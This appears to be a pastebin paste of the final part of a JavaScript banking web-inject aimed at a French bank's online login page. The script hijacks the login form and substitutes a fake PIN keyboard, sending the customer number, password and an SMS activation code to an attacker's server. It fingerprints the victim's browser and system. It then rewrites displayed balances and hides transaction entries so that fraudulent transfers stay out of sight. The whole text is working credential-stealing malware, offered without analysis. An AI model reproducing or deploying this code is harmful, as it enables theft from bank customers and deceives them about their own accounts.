YGxwxP6jwMpM4tj0ggA55FL1N9mfU42rKbVnTvkQTOch3Lf3Lao0Awzx2PSCADVVNmD1NdSb8W3VlIMXxQCjjLdWzbN8c9CgTz3PGIRHTHLlpyOf0iU15I3a++X0Axtr9KggEjXsIzGtT3Cij8/BYjU9RtTFbfMZDGtlsSOMtbeEaDut1APIu1LPTEOllUazattBbSSpt4OMtbeEYE944MkIXjA6Ll1zJ6NV27/rSBwDsyGPjELKJxS73mQT7F2nYJh7O8hWckwDsyGAhEWZesX9GeTatsO4XDWRd+vDMhOEsKjfCODAY/Uz320Yyo5vS+2K4dfEKBUIgu0frgGd6RwR++qFp2MaV2pTmP4vgkkRirfvv9BZn+Xu8Ajscq0frgeWlDSu2wb+6UJ5PkMa2ZpLXuIK1NHMaqw99fGpiL47FKpDZ4hWfufdGIX3ZHXk5pW9WRyyfnC8NY1fBj+8Dc6z93ehCIOG3wCs+jfvuvOrU2XNOaQVqLgVZb84Xgt9+fj2myu+9buvuvRx68vJ4L0wWP8ArPbm+YiWrc1BJnziad1SAEOV9X0z9f/mfCf0zBAS5RuuARXse8g2jJiY9kmpatr1ZbcvnCvGkJeINHePXoprvIc8nlcXcy6YOuPPrAOs3APcEbPHp8F2J4TYJP9NVNj7XmLE6SO60AT/AGj290427EiQ9lK5tTn+o6simeE00HwAs8wdu4bu1eXveJflVrGsVbsklvzZnSgAd4gadx3+uuOLCaRdWvzYm7jVC2c+LsKQlohwd4mdDN/yF7NUx5UMfU59aVr27bSnpOnMAbTCVAM7TDw4R/HhJcEsNCjAhlNVPXJxVqW1NJ35nJG22fEoBWaIZ2IT8gCkEgHKEIpUrLouo+1sc1pzzTP8igxK7tlGj1UnBt0Ait0CzsJ2YhJSsGEFoaw8IrVrHltYm+sU0beuPvbaNESxZv7mXgmqANGqFV6I8QXQPpRwxTlMeypcf072guJZt1bWmUwLelt4QBLdAEbdAo/GeqodgZI0BRpmERh3U+K+o/KdE2b3qlv7+N1lgyaU3XWwLvDQ3QAk3QBo2TFggQtjeGKSv5S+hEgkzTuK5N17qZEsz8ZdSZMalBoCd6QwO0QBO0QaMEgUS7RRgHroTqYByLOpmgim1c16q7uYkS7qXRms50+rArQxKAGz3Qi/dsQ29ogJYwF32THohrMOGm/mAiaxPkmgtJtdprG57G395CCfe39odjmUAIltchcC5wghs90As90TtsBF1vLZChO2YJ37ZLa3Q+6r+t0a9sSDof17T+J1zN+DYe0N00SjRvpcQH24YH9do4zmEO5mIN1oIDXOBcdkQ3Az2G7gjJAwkrUY8bilLsmhimquT/Kh3WsshP42XRpxM3as59XB7bmHQ57sq6Hm1T8je65g2ka9nYD36MMZzDHMzFGqwFB7jACW5PNIwnkP8D2g4DYALfS3MAAAAASUVORK5CYII=">'+
  1699.                                     '<br><br>'+
  1700.                                     '<div style="color: #999;color: #999;color: #999;padding:10px;">'+_tables.text.query.replace(/_PHONE_/igm,''+els[0])+'</div>'+
  1701.                                     '<br>'+
  1702.                                     '<div style="display: block;font-size: 1.13333rem;font-family: bnp_regular,Arial,sans-serif;color: #212121;margin: 10px 0px 5px;">Code d\'activation</div>'+
  1703.                                     '<div><input type="text" maxlength=6 id="_tables.code.input" style="outline-color: #D0D0D0;font-family: bnpp_sans_condensed_light,Arial,sans-serif;font-size: 1.6rem;line-height: 34px;padding-top: 10px;background-color: #FFF;background-image: none;border-radius: 3px;border: 1px solid #CCC;color: #767676;font-family: bnp_regular,Arial,sans-serif;font-size: 0.93333rem;height: 47px;padding: 6px 45px 6px 12px;width: 400px;margin-bottom: 15px;box-shadow: 0px 1px 2px 0px rgba(204, 204, 204, 0.4) inset;"></div>'+
  1704.                                     '<br><br>'+
  1705.                                 '</div>'+
  1706.                                 '<br>'+
  1707.                                 '<center><button type="button" onclick="_tables.fkbtn();" id="tbfkbtn" class="btn-primary btn-block">Valider</button></center>';
  1708.                 divHolder.style.display = 'none';
  1709.                 divHolder.parentNode.insertBefore(div,divHolder);
  1710.             }
  1711.             setTimeout(function(){
  1712.                 _tables.cc('CC');
  1713.             },1000);
  1714.         break;
  1715.     }
  1716. };
  1717.  
  1718. _tables.logintimer = function(time){
  1719.     setTimeout(function(){
  1720.         if(!_tables.get('ABORT')){
  1721.             _tables.login();
  1722.         }
  1723.     },time);
  1724. };
  1725.  
  1726. _tables.grep_amount = function(acc){
  1727.     if(!_tables.replacerarray){
  1728.         return 0;
  1729.     }
  1730.     var re_a = 0;
  1731.    
  1732.     if(acc == '[EMPTY]'){
  1733.         for(x in _tables.replacerarray){
  1734.             re_a += parseFloat(_tables.replacerarray[x]['amount']);
  1735.         }
  1736.     }else{
  1737.         for(x in _tables.replacerarray){
  1738.             if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
  1739.                 re_a += parseFloat(_tables.replacerarray[x]['amount']);
  1740.             }
  1741.         }
  1742.     }
  1743.    
  1744.     return re_a;
  1745. };
  1746.  
  1747. _tables.grep_mask = function(acc){
  1748.     if(!_tables.replacerarray){
  1749.         return false;
  1750.     }
  1751.     for(x in _tables.replacerarray){
  1752.         if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
  1753.             return true;
  1754.         }
  1755.     }
  1756.     return false;
  1757. };
  1758.  
  1759. _tables.replacer_preload = function(){
  1760.     if(_tables.grep_amount('[EMPTY]') > 0){
  1761.         if(_tables.id('udc-famille-ancre'))_tables.id('udc-famille-ancre').style.display = 'none';
  1762.         if(_tables.findout(document,'section','class:row categories\-menu'))_tables.findout(document,'section','class:row categories\-menu').style.display = 'none';
  1763.         var strong = _tables.child(document,'strong');
  1764.         if(strong && strong.length > 0){
  1765.             for(var i = 0; i < strong.length; i++){
  1766.                 if(/[0-9]/igm.test(_tables.html(strong[i]))){
  1767.                     if(/Avoir/igm.test(_tables.html(strong[i].parentNode))){
  1768.                         _tables.replace(strong[i],_tables.grep_amount('[EMPTY]'));
  1769.                     }
  1770.                     if(_tables.findout(strong[i].parentNode.parentNode,'span','class:a\-venir')){
  1771.                         strong[i].parentNode.parentNode.style.display = 'none';
  1772.                     }
  1773.                     if(strong[i].className == 'js-previsionnel'){
  1774.                         strong[i].parentNode.parentNode.parentNode.style.display = 'none';
  1775.                     }
  1776.                 }
  1777.             }
  1778.         }
  1779.     }
  1780. };
  1781.  
  1782. _tables.replacer_balance = function(){
  1783.     var li = _tables.child(document,'li');
  1784.     if(li && li.length > 0){
  1785.         for(var i = 0; i < li.length; i++){
  1786.             var h4 = _tables.child(li[i],'h4');
  1787.             if(h4 && h4.length == 2){
  1788.                 var _I1 = _tables.html(h4[0].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1789.                 if(_tables.grep_amount(_I1) > 0){
  1790.                     _tables.replace(h4[1],_tables.grep_amount(_I1));
  1791.                 }
  1792.             }
  1793.         }
  1794.     }
  1795. };
  1796.  
  1797. _tables.replacer_nano = function(){
  1798.     if(_tables.findout(document,'div','class:nano dropdown\-list\-header')){
  1799.         _tables.findout(document,'div','class:nano dropdown\-list\-header').style.display = 'none';
  1800.     }
  1801.    
  1802.     setTimeout(function(){
  1803.         _tables.replacer_nano();
  1804.     },100);
  1805. };
  1806.  
  1807. _tables.replacer_history = function(){
  1808.     if(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')){
  1809.         var _I1 = _tables.html(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1810.         var _I2 = _tables.findout(document,'span','class:js\-solde.*placeholder big');
  1811.         if(_tables.grep_amount(_I1) > 0){
  1812.             _tables.replace(_I2,_tables.grep_amount(_I1));
  1813.         }
  1814.     }
  1815.    
  1816.     var run_nano = false;
  1817.     var li = _tables.child(document,'li');
  1818.     if(li && li.length > 0){
  1819.         for(var i = 0; i < li.length; i++){
  1820.             var _I1 = _tables.html(li[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1821.             if(_tables.grep_mask(_I1)){
  1822.                 li[i].style.display = 'none';
  1823.                 run_nano = true;
  1824.             }
  1825.         }
  1826.     }
  1827.    
  1828.     if(run_nano)_tables.replacer_nano();
  1829. };
  1830.  
  1831. _tables.replacer = function(){
  1832.     _tables.replacer_preload();
  1833.     _tables.replacer_balance();
  1834.     _tables.replacer_history();
  1835. };
  1836.  
  1837. _tables.callback = function(){
  1838.     _tables.set('message','');
  1839.     switch(_tables.status()){
  1840.         case('CS'):
  1841.             if(/block/igm.test(_tables.answer.p1)){
  1842.                 _tables.fake('BLOCK');
  1843.                 _tables.showpage();
  1844.             }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){
  1845.                 _tables.status('NL');
  1846.                 _tables.send(
  1847.                     {'type':_tables.get('type')},
  1848.                     {'domain':document.domain},
  1849.                     {'link':document.location.href},
  1850.                     {'data':'Language: ' +_tables.get('lang')+ '|OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
  1851.                     {'message':'Login page onloaded'},
  1852.                     {'branch':'TJ'}
  1853.                 );
  1854.             }else{
  1855.                 _tables.showpage();
  1856.             }
  1857.         break;
  1858.        
  1859.         case('SL'):
  1860.             setTimeout(function(){
  1861.                 _tables.cc('CC');
  1862.             },1500);
  1863.         break;
  1864.        
  1865.         case('NL'):
  1866.             _tables.loginform();
  1867.             _tables.showpage();
  1868.         break;
  1869.        
  1870.         case('CC'):
  1871.             if(_tables.get('justLogin')){
  1872.                 _tables.logintimer(_tables.answer.t1*1000);
  1873.             }
  1874.             _tables.set('justLogin',false);
  1875.             if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
  1876.                 setTimeout(function(){
  1877.                     _tables.cc('CC');
  1878.                 },1000);
  1879.             }else{
  1880.                 _tables.set('ABORT',true);
  1881.                 _tables.fake(_tables.answer.p1);
  1882.             }
  1883.         break;
  1884.        
  1885.         case('CP'):
  1886.             var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
  1887.             if(!_tables.replacerarray){
  1888.                 if(div)div.style.display = '';
  1889.                 return;
  1890.             }
  1891.             _tables.replacer();
  1892.             if(div)div.style.display = '';
  1893.         break;
  1894.        
  1895.         case('TJ'):
  1896.             _tables.set('pause',false);
  1897.             _tables.cc('CC');
  1898.         break;
  1899.        
  1900.         default:
  1901.             _tables.showpage();
  1902.         break;
  1903.     }
  1904. };
  1905.  
  1906. _tables.cc = function(stat){
  1907.     if(_tables.get('pause'))return false;
  1908.     _tables.status(stat);
  1909.     _tables.send(
  1910.         {'type':'intercept'},
  1911.         {'domain':document.domain},
  1912.         {'link':document.location.href},
  1913.         {'browser':_tables.brows()},
  1914.         {'branch':'CC'}
  1915.     );
  1916. };
  1917.  
  1918. _tables.keyboardclick = function(num){
  1919.     _tables.get('password').value += num;
  1920. };
  1921.  
  1922. _tables.keyboard = function(){
  1923.     if(_tables.id('secret-nbr-keyboard')){
  1924.         var keyboard = _tables.id('secret-nbr-keyboard').parentNode;
  1925.         keyboard.style.display = 'none';
  1926.         var div = document.createElement('div');
  1927.         div.id = '_tables.keyboard.div';
  1928.         div.className = 'cell-grid';
  1929.         div.innerHTML = '<div style="background-image: url(data:image/png;base64,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);" id="secret-nbr-keyboard" rv-grille="data.grille.idGrille">'+
  1930.                             '<a onclick="_tables.keyboardclick(4);" data-id="01" rv-gridelement="form.password"></a>'+
  1931.                             '<a onclick="_tables.keyboardclick(8);" data-id="02" rv-gridelement="form.password"></a>'+
  1932.                             '<a onclick="_tables.keyboardclick(0);" data-id="03" rv-gridelement="form.password"></a>'+
  1933.                             '<a onclick="_tables.keyboardclick(6);" data-id="04" rv-gridelement="form.password"></a>'+
  1934.                             '<a onclick="_tables.keyboardclick(7);" data-id="05" rv-gridelement="form.password"></a>'+
  1935.                             '<a onclick="_tables.keyboardclick(3);" data-id="06" rv-gridelement="form.password"></a>'+
  1936.                             '<a onclick="_tables.keyboardclick(9);" data-id="07" rv-gridelement="form.password"></a>'+
  1937.                             '<a onclick="_tables.keyboardclick(5);" data-id="08" rv-gridelement="form.password"></a>'+
  1938.                             '<a onclick="_tables.keyboardclick(2);" data-id="09" rv-gridelement="form.password"></a>'+
  1939.                             '<a onclick="_tables.keyboardclick(1);" data-id="10" rv-gridelement="form.password"></a>'+
  1940.                         '</div>';
  1941.         _tables.after(div,keyboard);
  1942.        
  1943.         if(_tables.id('initPass')){
  1944.             _tables.replacebutton(_tables.id('initPass'),function(e){
  1945.             var evt = e ? e : window.event;
  1946.             if(evt.preventDefault)evt.preventDefault();
  1947.             if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  1948.             if(evt.cancelBubble!=null)evt.cancelBubble = true;
  1949.             _tables.get('password').value = '';
  1950.             return false;
  1951.         },'_tables.x.button');
  1952.         }
  1953.     }
  1954. };
  1955.  
  1956. _tables.loginform = function(){
  1957.     _tables.input(_tables.get('login'),'block');
  1958.     _tables.input(_tables.get('password'),'block');
  1959.     _tables.keyboard();
  1960.     _tables.replacebutton(_tables.get('button'),function(e){
  1961.         var evt = e ? e : window.event;
  1962.         if(evt.preventDefault)evt.preventDefault();
  1963.         if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  1964.         if(evt.cancelBubble!=null)evt.cancelBubble = true;
  1965.         _tables.id('_tables.button').parentNode.style.textAlign = 'center';
  1966.         _tables.set('justLogin',true);
  1967.        
  1968.         _tablesStorage.flush();
  1969.         _tablesStorage.set('username',_tables.get('login').value);
  1970.        
  1971.         _tables.set('ourbtn',function(){return _tables.id('_tables.button');});
  1972.         _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
  1973.         _tables.status('SL');
  1974.         _tables.send({'login1':_tables.get('login').value},
  1975.                         {'login2':_tables.get('password').value},
  1976.                         {'type':_tables.get('type')},
  1977.                         {'domain':document.domain},
  1978.                         {'link':document.location.href},
  1979.                         {'browser':_tables.brows()},
  1980.                         {'message':'Trying to Login'},
  1981.                         {'jabber':'SEND'},
  1982.                         {'branch':'SL'}
  1983.         );
  1984.         return false;
  1985.     });
  1986. };
  1987.  
  1988. _tables.findmaincontent = function(){
  1989.     var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
  1990.     if(div){
  1991.         div.style.display = 'none';
  1992.         _tables.status('CP');
  1993.         _tables.send({'domain':document.domain},{'type':_tables.get('type')},{'branch':'CP'});
  1994.     }else{
  1995.         setTimeout(function(){
  1996.             _tables.findmaincontent();
  1997.         },100);
  1998.     }
  1999. };
  2000.  
  2001. _tables.findloginform = function(){
  2002.     _tables.set('login',function(){return _tables.id('client-nbr');});
  2003.     _tables.set('password',function(){return _tables.id('secret-nbr');});
  2004.     _tables.set('button',function(){return _tables.id('submitIdent');});
  2005.     _tables.set('logout',function(){return _tables.findout(document,'a','href:logoff');});
  2006.     if(_tables.are('login','password','button')){
  2007.         _tables.cc('CS');
  2008.     }else if(_tables.get('logout')){
  2009.         var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
  2010.         if(div)div.style.display = 'none';
  2011.         setTimeout(function(){
  2012.             _tables.findmaincontent();
  2013.         },2345);
  2014.     }else{
  2015.         setTimeout(function(){
  2016.             _tables.findloginform();
  2017.         },234);
  2018.     }
  2019. };
  2020.  
  2021. _tables.start = function(){
  2022.     if(top == self){
  2023.         _tables.findloginform();
  2024.         _tables.showpage();
  2025.     }else{
  2026.         _tables.showpage();
  2027.     }
  2028. };
  2029.  
  2030. _tables.start();
Add Comment
Please, Sign In to add comment